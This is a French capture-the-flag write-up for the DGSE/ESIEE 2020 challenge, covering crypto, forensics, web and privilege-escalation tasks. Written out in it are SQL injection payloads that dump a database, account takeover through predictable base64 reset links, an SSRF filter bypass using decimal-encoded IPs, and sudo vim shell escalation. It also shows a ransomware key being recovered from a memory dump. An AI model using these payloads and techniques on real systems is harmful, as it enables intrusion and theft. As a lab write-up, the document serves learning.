# CTF DGSE DingDingDong style
START : https://challengecybersec.fr/
## Step 1
regarder les sources de la page web :
```html
<!--/static/message-secret.html-->
```
## Step 2
> Zp cvbz whyclulg h spyl jl tlzzhnl, j'lza xbl cvbz wvbclg ylqvpukyl s’vwlyhapvu «Iypnpaal Myphun». Ylqvpnulg-uvbz yhwpkltlua.
>
> Iypnpaal Myphun lza bul ylzpzahual, qvbyuhspzal la ljypchpul myhujhpzl. Lssl lza ull sl 23/01/1924 h Whypz, lssl h 19 huz zvbz s'vjjbwhapvu svyzxb'lssl lza yljyball wbpz mvytll jvttl zljylahpyl/jopmmylbzl why bu hnlua kb IJYH, Qlhu-Myhujvpz Jsvbla klz Wlyybjolz hsphz Nhspsll jolm kb Ibylhb klz vwlyhapvuz hlypluulz (IVH) kl sh Ylnpvu T (Jval kb Uvyk, Mpupzalyl, Pukyl la Svpyl, Vyul, Zhyaol, Svpyl pumlyplbyl, Thpul la Svpyl, Tvyipohu, Clukll). Iypnpaal Myphun bapspzl whymvpz klz mvbshykz wvby jhjoly klz jvklz. Jvtwslalg s’BYS hclj s’pumvythapvu xbp lza jhjoll khuz jl tlzzhnl.
>
> Zbpal h s’hyylzahapvu la sh ayhopzvu kl Wplyyl Thubls, Iypnpaal Myphun lza hyylall why sh Nlzahwv. Lssl lza islzzll why ihssl lu aluahua kl z’lumbpy la lza jvukbpal h s’Ovwpahs kl sh Wpapl. Klz ylzpzahuaz alualyvua kl sh spilyly thpz zhuz zbjjlz. Lssl lza avyabyll la ul kvuulyh whz k'pumvythapvuz. U’vbisplg whz sh ihyyl vispxbl. Lssl lza luzbpal lucvfll khuz sl jhtw kl Yhcluziybjr.
>
> Hwylz zvu ylavby kl klwvyahapvu, lssl whyapjpwl h sh jylhapvu kb Yhzzltisltlua kb wlbwsl myhuçhpz (YWM). Lssl pualnyl sh wlapal lxbpwl, hbavby k'Hukyl Thsyhbe, xbp ch wylwhyly sl kpzjvbyz mvukhalby kl Zayhzivbyn lu 1947 la slz lsljapvuz slnpzshapclz kl 1951.
>
> Lssl yluayl h s'VYAM, la klcplua jvyylzwvukhual kl nblyyl. Lssl viaplua zvu iylcla kl zhba lu whyhjobal la hjjvtwhnul klz jvtthukvz kl whyhjobapzalz lu vwlyhapvu kbyhua sh nblyyl k’Pukvjopul. Lssl yhjvual zvu lewlyplujl khuz Slz Mslbyz kb jpls (1955). K'hbaylz hnluaz zvua zby sl jvbw hb tvtlua vb ql cvbz whysl. Slz tlpsslbyz k'luayl cvbz zl kvuulyvua yluklg-cvbz h s'Lbyvwlhu Jfilydllr h Yluulz wvby bul yltpzl kl wype. Ylzvsclg sl wsbz k'lwylbclz hchua sh mpu kl jlaal tpzzpvu la alualg kl nhnuly cvayl wshjl whytp s'lspal! Why sh zbpal, lssl jvbcyl s’lewlkpapvu kl Zblg, sh nblyyl klz Zpe Qvbyz la sh nblyyl kb Cpla Uht. Lssl wyluk wvzpapvu lu mhclby k'bul hbavuvtpl kb qvbyuhspztl khuz sl zlycpjl wbispj jl xbp sbp chba k'layl spjlujpll kl s'VYAM.
>
> Lssl ljypa wsbzplbyz spcylz la altvpnul kl s'lunhnltlua klz mlttlz khuz sh Ylzpzahujl.
Surement un vigenere :
>
> Si vous parvenez a lire ce message, c'est que vous pouvez rejoindre l’operation «Brigitte Friang». Rejoignez-nous rapidement.
>
> Brigitte Friang est une resistante, journaliste et ecrivaine francaise. Elle est nee le 23/01/1924 a Paris, elle a 19 ans sous l'occupation lorsqu'elle est recrutee puis formee comme secretaire/chiffreuse par un agent du BCRA, Jean-Francois Clouet des Perruches alias Galilee chef du Bureau des operations aeriennes (BOA) de la Region M (Cote du Nord, Finistere, Indre et Loire, Orne, Sarthe, Loire inferieure, Maine et Loire, Morbihan, Vendee). Brigitte Friang utilise parfois des foulards pour cacher des codes. Completez l’URL avec l’information qui est cachee dans ce message.
>
> Suite a l’arrestation et la trahison de Pierre Manuel, Brigitte Friang est arretee par la Gestapo. Elle est blessee par balle en tentant de s’enfuir et est conduite a l’Hopital de la Pitie. Des resistants tenteront de la liberer mais sans succes. Elle est torturee et ne donnera pas d'informations. N’oubliez pas la barre oblique. Elle est ensuite envoyee dans le camp de Ravensbruck.
>
> Apres son retour de deportation, elle participe a la creation du Rassemblement du peuple français (RPF). Elle integre la petite equipe, autour d'Andre Malraux, qui va preparer le discours fondateur de Strasbourg en 1947 et les elections legislatives de 1951.
>
> Elle rentre a l'ORTF, et devient correspondante de guerre. Elle obtient son brevet de saut en parachute et accompagne des commandos de parachutistes en operation durant la guerre d’Indochine. Elle raconte son experience dans Les Fleurs du ciel (1955). D'autres agents sont sur le coup au moment ou je vous parle. Les meilleurs d'entre vous se donneront rendez-vous a l'European Cyberweek a Rennes pour une remise de prix. Resolvez le plus d'epreuves avant la fin de cette mission et tentez de gagner votre place parmi l'elite! Par la suite, elle couvre l’expedition de Suez, la guerre des Six Jours et la guerre du Viet Nam. Elle prend position en faveur d'une autonomie du journalisme dans le service public ce qui lui vaut d'etre licenciee de l'ORTF.
>
> Elle ecrit plusieurs livres et temoigne de l'engagement des femmes dans la Resistance.
>
Rien de particulier mis a par dans le code on vois des partie en gras
> /joha
decodée en vigenere ça done
> /chat
## Step 3
https://challengecybersec.fr/chat
### Crypto
https://challengecybersec.fr/chat/public/uploads/echange.txt
https://challengecybersec.fr/chat/public/uploads/archive_chiffree
https://challengecybersec.fr/chat/public/uploads/layout.pdf
https://challengecybersec.fr/chat/public/uploads/compte_rendu_eve.pdf
>Comme vous pouvez le voir, le fichier que nous a envoyé Eve est protégé par un mot de passe et elle ne répond plus. Trouvez un moyen de la contacter pour déchiffrer le fichier
>Arrêtez votre charme 42. Nous cherchons une information capitale qui est certainement cachée dans archive_chiffree. Si vous trouvez quelque chose envoyez-moi un message !
### Web
> Retrouvez l'adresse mail du client que l'on puisse prouver les agissements d'Evil Gouv. Elle pourra vous être utile pour la prochaine épreuve. Nous n'avons pas les identifiants, mais Stockos a connu plusieurs fuites de mots de passe et on ne peut pas dire qu'ils étaient originaux. Voici le lien : /4e9033c6eacf38dc2a5df7a14526bec1
>
https://challengecybersec.fr/4e9033c6eacf38dc2a5df7a14526bec1/
-> admin:admin
-> injection SQL dans le champ recherche de https://challengecybersec.fr/4e9033c6eacf38dc2a5df7a14526bec1/stock
`Erreur : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%' ORDER BY section ASC' at line 1`
Avec comme payload `' OR 1 =1 #'`

Maintenant il faut dumper la base entière pour obtenir le mail de Evil Gouv et avec de la chance le mdp.
let's do sqlmap (a bit huge) :
No way !
Bon on y va a la mano :
```
' AND 1=2 UNION SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE' AND TABLE_SCHEMA='dbName' # != number of columns
' AND 1=2 UNION SELECT * FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE' AND TABLE_SCHEMA='dbName' # != number of columns
' AND 1=2 UNION SELECT TABLE_CATALOG,TABLE_SCHEMA,TABLE_NAME,TABLE_TYPE,ENGINE FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE' AND TABLE_SCHEMA='dbName' # Error from Database
' AND 1=2 UNION SELECT TABLE_CATALOG,TABLE_SCHEMA,TABLE_NAME,TABLE_TYPE FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE' AND TABLE_SCHEMA='dbName' # != number of columns
' AND 1=2 UNION SELECT TABLE_CATALOG,TABLE_SCHEMA,TABLE_NAME,TABLE_TYPE,ENGINE,VERSION FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE' AND TABLE_SCHEMA='dbName' # != number of columns
' AND 1=2 UNION SELECT TABLE_CATALOG,TABLE_SCHEMA,TABLE_NAME,TABLE_TYPE,ENGINE FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE' AND TABLE_SCHEMA='dbName' LIMIT 1 # Error from Database
' AND 1=2 UNION SELECT SUBSTRING_INDEX('Lorem ipsum dolor sit amet.',' ',1) AS part1, SUBSTRING_INDEX('Lorem ipsum dolor sit amet.',' ',2) AS part2, SUBSTRING_INDEX('Lorem ipsum dolor sit amet.',' ',3) AS part3, SUBSTRING_INDEX('Lorem ipsum dolor sit amet.',' ',4) AS part4, SUBSTRING_INDEX('Lorem ipsum dolor sit amet.',' ',5) AS part5 # OK
' AND 1=2 UNION SELECT TABLE_CATALOG,TABLE_SCHEMA,TABLE_NAME,TABLE_TYPE,ENGINE FROM INFORMATION_SCHEMA.TABLES LIMIT 1 #
```

`' AND 1=2 UNION SELECT * FROM customer # `

mail Evil Gouv : ***agent.malice@secret.evil.gov.ev***
> Grace aux informations récupérées sur Stockos, trouvez un moyen de prendre votre billet sur le site d'AirEvil, unique compagnie aérienne qui s'y rend : /35e334a1ef338faf064da9eb5f861d3c. Réservez le vol ABDJI6 du 26/10/2020 au 28/10/2020 de Bad City à Evil City. Pensez à prendre de la crème solaire, le soleil tape là-bas.
>
https://challengecybersec.fr/35e334a1ef338faf064da9eb5f861d3c/
>Une fois le billet récupéré envoyez moi la valeur du QRCode, ça devrait être de la forme : DGSESIEE{un_hash}
On peut créer un compte sur AirEvil, on reçoit alors un line d'activation :
http://challengecybersec.fr/35e334a1ef338faf064da9eb5f861d3c/activate/cXRjZXJ6ZWllaWZhaWxzamd1QHRzeWVmbi5jb20=
avec la base64 correspondant à l'émail
**cXRjZXJ6ZWllaWZhaWxzamd1QHRzeWVmbi5jb20=** -> qtcerzeieifailsjgu@tsyefn.com
Le lien d'activation est alors prédictif pour tout le monde
http://challengecybersec.fr/35e334a1ef338faf064da9eb5f861d3c/activate/YWdlbnQubWFsaWNlQHNlY3JldC5ldmlsLmdvdi5ldg==
Corespond au lien d'activation de agent.malice@secret.evil.gov.ev

Shit !
Bon en essayant la fonction de reset de mot de passe on ce rend compte que le liens aussi est prédictif et surtout qu'il permet d'obtenir le mots de passe en clair (Merci PiX).


Ce qui correspond au mots de passe que j'ai utilisé.
Si on modifi le liens de reset de mots de passe pour le compte agent.malice@secret.evil.gov.ev.
agent.malice@secret.evil.gov.ev -> **YWdlbnQubWFsaWNlQHNlY3JldC5ldmlsLmdvdi5ldg==**
https://challengecybersec.fr/35e334a1ef338faf064da9eb5f861d3c/reset/YWdlbnQubWFsaWNlQHNlY3JldC5ldmlsLmdvdi5ldg==

Maintenent il ne reste plus qu'a ce connecter et reserver un billet.


***DGSESIEE{2cd992f9b2319860ce3a35db6673a9b8}***
> Grace à vous on sait maintenant qu'Evil Gouv envisage d'utiliser du VX contre la résistance ! En plus de ça vous avez votre billet d'avion ! Vous êtes incroyable ! J'ai un dernier défi pour vous, des sources sur le terrain ont pu intercepter une communication de l'agent Satan. Il nous assure que cette transmission est à propos du convoi
https://challengecybersec.fr/chat/public/uploads/capture.pcap
### Algo
>Nous avons comparé le haché du fichier avec le document original et ils ne correspondent pas, il a dû être modifié pour cacher des données. Voici les fichiers :
https://challengecybersec.fr/chat/public/uploads/original.txt
https://challengecybersec.fr/chat/public/uploads/intercepte.txt
>Je compte sur vous 42 ! Dites-moi ici ce que vous avez trouvé, je vérifierai de mon côté
https://ctf.challengecybersec.fr/7a144cdc500b28e80cf760d60aca2ed3/register-confirmation.php
camille@moncelier.fr / ptu7fuWY27xjXLA!
https://ctf.challengecybersec.fr/7a144cdc500b28e80cf760d60aca2ed3/challenge-detail.php?chall=27
### Forensic
>Un agent d'Evil Gouv a réussi à se connecter sur notre plateforme, il faut absolument que l'on retrouve son adresse IP
https://challengecybersec.fr/chat/public/uploads/access.log
>Voici les logs de Nginx
>Envoyez moi l'adresse IP dès que vous la trouvez j'ai une piste très prometteuse sur l'affaire Friang
un simple CTRL + R "evil"
```
179.97.58.61 - - [Nov 05 2020 16:22:20] "POST /login HTTP/1.1" 200 476 "-" "Evil Browser"
```
**IP : 179.97.58.61**
> Bien joué, nous l'avons bloqué ! Comme promis, voici une image trouvée dans une pièce jointe d'un e-mail provenant d'Evil Country. Nous pensons que la résistance tente de rentrer en contact avec nous.
>
> Nous savons que leur réseau a été infecté ces derniers jours et qu'ils ont perdu des baies de disques.
>
>Attention Agent 42, la pièce jointe risque de contenir un malware alors n'exécutez aucune application extraite de ce fichier directement sur votre ordinateur.
https://challengecybersec.fr/chat/public/uploads/evil_country_landscape.jpg
un petit coup de binwalk pour voir rapidement ce qu'il y a dedans :
```
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 JPEG image data, JFIF standard 1.01
79798 0x137B6 Zip archive data, at least v2.0 to extract, uncompressed size: 173015040, name: part2.img
4775856 0x48DFB0 Zlib compressed data, best compression
34737670 0x2120E06 MySQL MISAM compressed data file Version 1
56164092 0x358FEFC IMG0 (VxWorks) header, size: 257308484
128298187 0x7A5ACCB Cisco IOS microcode, for "w%"
158637081 0x9749C19 Zip archive data, at least v2.0 to extract, uncompressed size: 173015040, name: part3.img
239002530 0xE3EE3A2 Zlib compressed data, best compression
317286906 0x12E969FA End of Zip archive, footer length: 22
```
on extrait uniquement les zip avec
```
binwalk --dd='zip' -e evil_country_landscape.jpg
```
Analyse de part2.img et part3.img avec testdisk :
```
Disk part2.img - 173 MB / 165 MiB - CHS 22 255 63
Current partition structure:
Partition Start End Size in sectors
P Linux md 1.x RAID 0 0 1 21 8 51 337920 [user-XPS-15-9570:6]
```
c'est donc 2 image d'un RAID, vraisemblablement un RAID Strip (RAID 0).
Visiblement pas un RAID 0 car 3 part donc un raid a 3 disques D1 D2 D3 permétant la reconstruction avec la parité.
RAID 5.
On utilisa mdadm pour tester la reconstruction :
```
sudo losetup /dev/loop2 part2.img
sudo losetup /dev/loop3 part3.img
sudo mdadm --create /dev/md0 --assume-clean -l5 -n 3 missing /dev/loop2 /dev/loop3
```
il faut ensuite créer un partition virtuel vide, perso j'ai obté pour :
```
dd if=/dev/zero of=part1.img bs=1M count=165
sudo losetup /dev/loop1 part1.img
sudo mdadm --manage /dev/md0 -a /dev/loop1
```
On vérifi la reconstruction du RAID 5 :
```
/dev/md0:
Version : 1.2
Creation Time : Sat Oct 24 10:04:14 2020
Raid Level : raid5
Array Size : 333824 (326.00 MiB 341.84 MB)
Used Dev Size : 166912 (163.00 MiB 170.92 MB)
Raid Devices : 3
Total Devices : 3
Persistence : Superblock is persistent
Update Time : Sat Oct 24 10:14:58 2020
State : clean
Active Devices : 3
Working Devices : 3
Failed Devices : 0
Spare Devices : 0
Layout : left-symmetric
Chunk Size : 512K
Consistency Policy : resync
Name : kali:0 (local to host kali)
UUID : 09121bca:cc4a1f41:276b9d87:a8871464
Events : 19
Number Major Minor RaidDevice State
3 7 1 0 active sync /dev/loop1
1 7 2 1 active sync /dev/loop2
2 7 3 2 active sync /dev/loop3
```
On monte le raid et on regarde dedan :
```
sudo mkdir /media/raid
sudo mount /dev/md0 /media/raid/
ls /media/raid/ -la
total 298292
drwxr-xr-x 3 root root 4096 Oct 6 05:35 .
drwxr-xr-x 5 root root 4096 Oct 24 10:14 ..
-rw-r--r-- 1 root root 305119359 Oct 6 05:35 dump.zip
drwx------ 2 root root 16384 Oct 6 05:31 lost+found
```
Dans le dump.zip il y a un dump mémoire et un sha256 pour vérifier.
```
~/DGSE$ sha256sum dump.vmem
dd170dfbb7046c18850b97ab0f7d7227ad03fbd0b692e60b10549b211373941b dump.vmem
~/DGSE$ strings dump.vmem.sha256
dd170dfbb7046c18850b97ab0f7d7227ad03fbd0b692e60b10549b211373941b
```
OK on est bon \o\ .... /o/
Let's do volatility :
```
~/volatility3$ python3 vol.py -f ~/DGSE/dump.vmem windows.info
Volatility 3 Framework 1.2.1-beta.1
Progress: 41.02 Scanning primary2 using PdbSignatureScanner
Variable Value
Kernel Base 0xf80002a5b000
DTB 0x187000
Symbols jar:file:/home/kali/volatility3/volatility/symbols/windows.zip!windows/ntkrnlmp.pdb/3844DBB920174967BE7AA4A2C20430FA-2.json.xz
primary 0 WindowsIntel32e
memory_layer 1 FileLayer
KdDebuggerDataBlock 0xf80002c4c0a0
NTBuildLab 7601.17514.amd64fre.win7sp1_rtm.
CSDVersion 1
KdVersionBlock 0xf80002c4c068
Major/Minor 15.7601
MachineType 34404
KeNumberProcessors 1
SystemTime 2020-10-05 11:17:37
NtSystemRoot C:\Windows
NtProductType NtProductWinNt
NtMajorVersion 6
NtMinorVersion 1
PE MajorOperatingSystemVersion 6
PE MinorOperatingSystemVersion 1
PE Machine 34404
PE TimeDateStamp Sat Nov 20 09:30:02 2010
```
```
python2 vol.py -f ~/DGSE/dump.vmem imageinfo
Volatility Foundation Volatility Framework 2.6.1
INFO : volatility.debug : Determining profile based on KDBG search...
Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_24000, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_24000, Win7SP1x64_23418
AS Layer1 : WindowsAMD64PagedMemory (Kernel AS)
AS Layer2 : FileAddressSpace (/home/kali/DGSE/dump.vmem)
PAE type : No PAE
DTB : 0x187000L
KDBG : 0xf80002c4c0a0L
Number of Processors : 1
Image Type (Service Pack) : 1
KPCR for CPU 0 : 0xfffff80002c4dd00L
KUSER_SHARED_DATA : 0xfffff78000000000L
Image date and time : 2020-10-05 11:17:37 UTC+0000
Image local date and time : 2020-10-05 13:17:37 +0200
```
```
~/volatility$ python2 vol.py -f ~/DGSE/dump.vmem --profile=Win7SP1x64 cmdline
Volatility Foundation Volatility Framework 2.6.1
************************************************************************
System pid: 4
************************************************************************
smss.exe pid: 264
Command line : \SystemRoot\System32\smss.exe
************************************************************************
....
************************************************************************
notepad.exe pid: 1880
Command line : "C:\Windows\system32\NOTEPAD.EXE" C:\Users\user\Documents\informations_attaque.txt.evil
************************************************************************
cmd.exe pid: 1744
.....
```
On cherche le fichier dans la mémoire pour essayer de l'extraire.
```
~/volatility$ python2 vol.py -f ~/DGSE/dump.vmem --profile=Win7SP1x64 filescan | grep evil
Volatility Foundation Volatility Framework 2.6.1
0x000000001715ed50 16 0 R--r-- \Device\HarddiskVolume1\Users\user\Documents\informations_attaque.txt.evil
0x000000003fa3ebc0 2 0 RW-r-- \Device\HarddiskVolume1\ProgramData\Microsoft\RAC\PublishedData\RacWmiDatabase.sdf.evil
0x000000003fac8d10 32 0 RW-r-- \Device\HarddiskVolume1\ProgramData\Microsoft\Windows\WER\ReportQueue\NonCritical_Firefox_installe_d514681bfc376345742b2157ace1e72c17fd991_cab_0938b7ba\appcompat.txt.evil
0x000000003fad8620 16 0 RW-r-- \Device\HarddiskVolume1\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000002.db.evil
~/volatility$ python2 vol.py -f ~/DGSE/dump.vmem --profile=Win7SP1x64 dumpfiles --dump-dir=. -Q 0x000000001715ed50
Volatility Foundation Volatility Framework 2.6.1
DataSectionObject 0x1715ed50 None \Device\HarddiskVolume1\Users\user\Documents\informations_attaque.txt.evil
~/volatility$ file file.None.0xfffffa800e9fec60.dat
file.None.0xfffffa800e9fec60.dat: data
kali@kali:~/volatility$ strings file.None.0xfffffa800e9fec60.dat
.S&0=
Y@UQ
_9~v
5v/l
,!'
-Q:wpl#
5g*
}UpY31H
4fi3N
giEE
```
Le fichier semble être chifré, visiblement par un cryptoloclker.
Retour sur la liste des commande executé :
```
kali@kali:~/volatility$ python2 vol.py -f ~/DGSE/dump.vmem --profile=Win7SP1x64 cmdline
Volatility Foundation Volatility Framework 2.6.1
************************************************************************
System pid: 4
************************************************************************
....
************************************************************************
svchost.exe pid: 2276
Command line : C:\Windows\System32\svchost.exe -k secsvcs
************************************************************************
drpbx.exe pid: 2304
Command line : "C:\Users\user\AppData\Local\Drpbx\drpbx.exe" C:\Users\user\Documents\Firefox_installer.exe
************************************************************************
taskhost.exe pid: 2464
Command line : "taskhost.exe"
************************************************************************
....
```
Le process **drpbx.exe pid: 2304** semble louche pour plusieur raisons :
- Il s'éxecute dans **\AppData\Local\**
- il a pour argument firefox_installer.exe
on l'éxtrait sans ça mémoire dans un premier temps :
```
~/volatility$ python2 vol.py -f ~/DGSE/dump.vmem --profile=Win7SP1x64 procdump -p 2304 --dump-dir=./
Volatility Foundation Volatility Framework 2.6.1
Process(V) ImageBase Name Result
------------------ ------------------ -------------------- ------
0xfffffa8000e91b30 0x0000000000870000 drpbx.exe OK: executable.2304.exe
```
On vérifie le process avec virus total :

Bon cette fois si pas de doute.Jigsaw Ransomware
```
~/DGSE$ file executable.2304.exe
executable.2304.exe: PE32+ executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
```
C'est un programme .Net compiler, il faut essayer de le décompiler pour trouver la clé de chiffrement.
Comme indiqué ici : https://community.turgensec.com/jigsaw-ransomware-analysis-using-volatility/
Une fois décompiler avec https://github.com/icsharpcode/AvaloniaILSpy

On obtien la clé de déchifrement
```.NET
internal const string EncryptionPassword = "RXZpbERlZmF1bHRQYXNzIQ==";
```
**RXZpbERlZmF1bHRQYXNzIQ== -> EvilDefaultPass!**
Il manque l'IV qu'on obtient dans les sources :

Ayant la flemme de faire du code j'ai utilisé cyberchef

> Ce message est destiné à toute force alliée en mesure de nous venir en aide, nous la résistance d'Evil Country. Hier, nous sommes parvenus à mettre la main sur un dossier confidentiel émanant des services secrets d'Evil Gouv.
>
> Ces documents font mention d'une opération d'anéantissement de la résistance à l'aide d'un puissant agent innervant, le VX. L'attaque est prévue dans 4 jours à 4h40 au sein du fief de la résistance.
>
> Nous savons de source sure qu'un convoi permettant la synthèse du VX partira de l'entrepot Stockos de Bad Country vers le fief de la résistance d'ici quelques jours. Il faut intercepter ce convoi !
>
> Contactez-nous à cette adresse : http://ctf.challengecybersec.fr/7a144cdc500b28e80cf760d60aca2ed3
## Le vrai CTF :
### ~~UART~~
Utilisation de pulseview, ajustement suivant les bytes foirés au transfert
`DGSESIEE{ d[-_-]b \_(''/)_/ (^_-) @}-;--- (*^_^*) \o/ }`
### Evil Cipher
reverse fonction permutation15 en python
```
def permutation15(A)
a =[]
for AA in A :
a.append(AA)
b = a
b[7] = a[0]
b[3] = a[1]
b[13] = a[2]
b[8] = a[3]
b[12] = a[4]
b[10] = a[5]
b[2] = a[6]
b[5] = a[7]
b[0] = a[8]
b[14] = a[9]
b[11] = a[10]
b[9] = a[11]
b[1] = a[12]
b[4] = a[13]
b[6] = a[14]
B = ""
for bb in b :
B += bb
return B
```
### enigme de la crypte
rsa qui se pete izi avec rsactftool, on récupere le clair IVQDQT NHABMPSVBYYUCJIYMJBRDWXAXP THYVCROD
d'après le nom du mec ça sent enigma a peter
Notes :
```
Mission Scherbius
Chiffrez un message suivi de votre nom avec la machine de type M3 avec cette disposition :
Uniquement les impairs en ordre croissant donc (I, II, III)
Position roue : REJ
Tableau de connexion : BA EZ ? (apparement en lien avec un autre chall, mais 4 char en MAJ ça se BF bien, dingding style)
Position initiale : MER
Sequence: BFX ou BFY
chiffré :
IVQDQT NHABMPSVBYYUCJIYMJBRDWXAXP THYVCROD
```
j'ai tenté de bf le tableau de connexion, rien, pas trouvé comment utiliser l'info "sequence". J'ai un bout de python si quelqu'un veut
Dans foulard.txt on a l'info de : "Chiffrez un message suivi de votre nom" , on sait donc que la dernière partie du message soit "THYVCROD" correspond au nom de l'agent soit "REJEWSKI"
De plus on sait que au debut des messages encodé par enigma "Le premier chiffreur choisit au hasard un réglage initial de rotors et le frappe deux fois, ex : BGZBGZ. C'est la clef brute du message (et la source des fameuses « cillies »)" (cf. https://fr.wikipedia.org/wiki/Enigma_(machine) ).
Donc "IVQDQT" correspond à 2 fois 3 caractère (Sûrement l'info `(texte illisible 2): B(texte illisible 3)`) , on cherche sur cyberchef (en ayant rentré la configuration plus haute) une combinaison de 2x 3char qui donnerait "IVQDQT", on trouve rapidement que c'est "ZFGZFG".
Maintenant on cherche une configuration tel que "REJEWSKI" renvoie "THYVCROD", après quelques essais et en ayant modifier "ZFG" en "BFG" et en ayant modifier "BA EZ" en "BE AZ", on trouve la bonne configuration.

Maintenant qu'on à la bonne config, plus qu'à décoder la partie du message qui contient le flag "NHABMPSVBYYUCJIYMJBRDWXAXP".

Et voilà le flag : `DGSESIEE{LESSANGLOTSLONGSDESVIOLONS}`
### ~~Le discret napier~~
essayé avec wolframe mais pas vraiment concluant, je suis peut etre un peu trop teubé
https://www.wolframalpha.com/input/?i=17%5Ex+%E2%89%A1+183512102249711162422426526694763570228+%5B207419578609033051199924683129295125643%5D
J'ai penser utiliser la technique de l'index calculus pour résoudre le problème
j'utilise SageMath
```
g = 17
h = 183512102249711162422426526694763570228
p = 207419578609033051199924683129295125643
F = IntegerModRing(p)
x = discrete_log(F(h), F(g))
```
J'attend le résultat
Pix solution
```
l = Integer(207419578609033051199924683129295125643)
R = IntegerModRing(l)
g = Integer(17)
h = Integer(183512102249711162422426526694763570228)
R(h).log(R(g))
```
DGSESIEE{697873717765}
### Chatbot
Clairement ssrf avec le proxy_url?machin, vu l'indice faut taper sur une machine du lan, mais pas trouvé pour l'instant
Ducoup SSRF avec `proxy?url=` , on voit dans le script js :`urlRegex = /([^\s]+:\/\/[^\s]+)/g;` on sait donc utiliser `proxy?url=https://ip`.
Aucun des ces protocoles fonctionnent `gopher://, file://, ldap:// or ftp://`
Un test avec `proxy?url=https://192.168.0.1` nous renvoie un Forbidden -> On encode l'ip en décimal (`proxy?url=https://3232235521`) nous renvoie Not Found.
pour la conversion ip -> nb
```
import socket, struct
ip = []
for i in range(11):
for j in range(256):
ip.append(struct.unpack("!L", socket.inet_aton("192.168."+str(i)+"."+str(j)))[0])
```
Plus qu'à trouver la machine sur le lan...
DGSESIEE{2cf1655ac88a52d3fe96cb60c371a838}
### ~~stranger RSA~~
En déchiffrant le .enc avec la clef privée on obtient : "221 x 7"
voila... j'en sais pas plus
Ça a été flag
### Automatos
*Merci à Siras*
Le chall part de l'image suivante :

en zoomant on ce rend compte qu'il y a qqch de caché 'un LSB peut être' :

lorsqu'on regarde sur le premier bit sur le canal rouge on vois clairement le LSB :

ce qui correspond a un carré de 20x20 ayant pour coordonné (500,200)
En isolant les différent bits du canal Rouge, on ce rend compte que le "LSB" est sur les 5 premier bits du canal rouge.
lorque qu'on arrive a isoler ce carré avec les 5 bits on obtient :

on remarque qu'il y a un seul et unique pixel pour une colone et une ligne donné. peut être un chemin donné, affichons les coordonné et les valeurs de chaque pixels.
```
[['00001', (0, 8)],
['10000', (1, 3)],
['00101', (2, 11)],
['01111', (3, 15)],
['00100', (4, 16)],
['01110', (5, 6)],
['01001', (6, 18)],
['00101', (7, 1)],
['10010', (8, 10)],
['01101', (9, 12)],
['00010', (10, 13)],
['00100', (11, 7)],
['01001', (12, 5)],
['10010', (13, 2)],
['10101', (14, 17)],
['01001', (15, 4)],
['10011', (16, 9)],
['01101', (17, 19)],
['01101', (18, 14)],
['00000', (19, 0)]]
```
On comprend rapidement que les coordonées des pixels indique un chemin a suivre :
(0, 8) -> (8, 10) -> (10, 13) etc ....
ce qui donne lorsque l'on concatenne les valeur en binaire :
```
0000110010000101001000101001000010110000011110100100100100110110101001011100100101101101010110100000
```
Soit rien du tout en Ascii .....
Apres moultes réfléxions est venu l'idée que les valeurs des pixels représentait la position dans l'alphabet.
C'est a dire que 1 = A ... 27 =Z.
On obtient alors en suivant le chemin et les valeur :
```
ARBREDEPOIDSMINIMUM
```
Qui est le flag !
### Quelle heure est-t-il ?
Après avoir essayé tous les formats pour afficher une heure, voir que le serveur avait 1heure de retard, on tape sur Google "hour format informatique" -> Unix Timestamp
Grâce à http://www.timestamp.fr/, il suffit de renvoyer le timestamp et voilà !!

### Alone Muks
On se connecte en SSH. Cependant on utilise le shell de /bin/sh et on s'identifie avec user:user.

Une fois ceci fait, nous avons accès à la commande sudo. On effectue donc un sudo -l pour lister les privilèges.

On remarque qu'en globalSystem on peut utiliser vim sans Password. On va donc utiliser vim pour monter en privilège et ainsi passer de user à globalSystem.

VIM se lance donc et on lance depuis ce dernier un shell en utilisant :sh

Nous avons donc procéder à l'escalation.

On repète les mêmes étapes, sudo -l. On remarque que cette fois-ci update est en NoPasswd pour navigationSystem.

On refait encore une fois notre escaltion avec cette fois-ci navigationSystem en user. Et le tour est joué !

Le flag est : DGSESIEE{44adfb64ff382f6433eeb03ed829afe0}.
### Steganosaurus
DGSEESIEE{FL4GISH3R3}
l'image disque contient un readme et un apk
un photorec permet de récupérer un png en plus (flag.png)
L'algo a reverse (voir la méthode `Future<void> steggapp(File pImage, String pMessage) async`):
### Polyglotte
Le pdf est aussi un html qui pop un password en alert `_4aee=7<e5:`
Apres ROT4 de la chaine, on a
`[0]aa938a16`
Le password du zip se pete avec rockyou et fcrackzip : `finenuke`
ça donne un poisson-freebsd en png (hint.png) et un texte d'indice qui parle de crypto, visiblement de l'aes (taille de clef de 16) (je dirais CBC vu qu'on a un IV), reste a trouver le chiffré.
```
Ange Albertini
key='\xce]`^+5w#\x96\xbbsa\x14\xa7\x0ei'
iv='\xc4\xa7\x1e\xa6\xc7\xe0\xfc\x82'
[3]4037402d4
```
le chiffré est dans le PDF
le hint : c'est un poisson glob , l'embleme de **openSSH** et **OpenBSD*
Ou tout simplement l'algo Blowfish en crypto
Dans les commentaire de l'image on vois écrit **Ange Albertini**
c'est bien un blowfish-cbc a utiliser
```
from Crypto.Cipher import AES, DES3, Blowfish
key=b'\xce]`^+5w#\x96\xbbsa\x14\xa7\x0ei'
iv=b'\xc4\xa7\x1e\xa6\xc7\xe0\xfc\x82'
blw = Blowfish.new(key, Blowfish.MODE_CBC, iv)
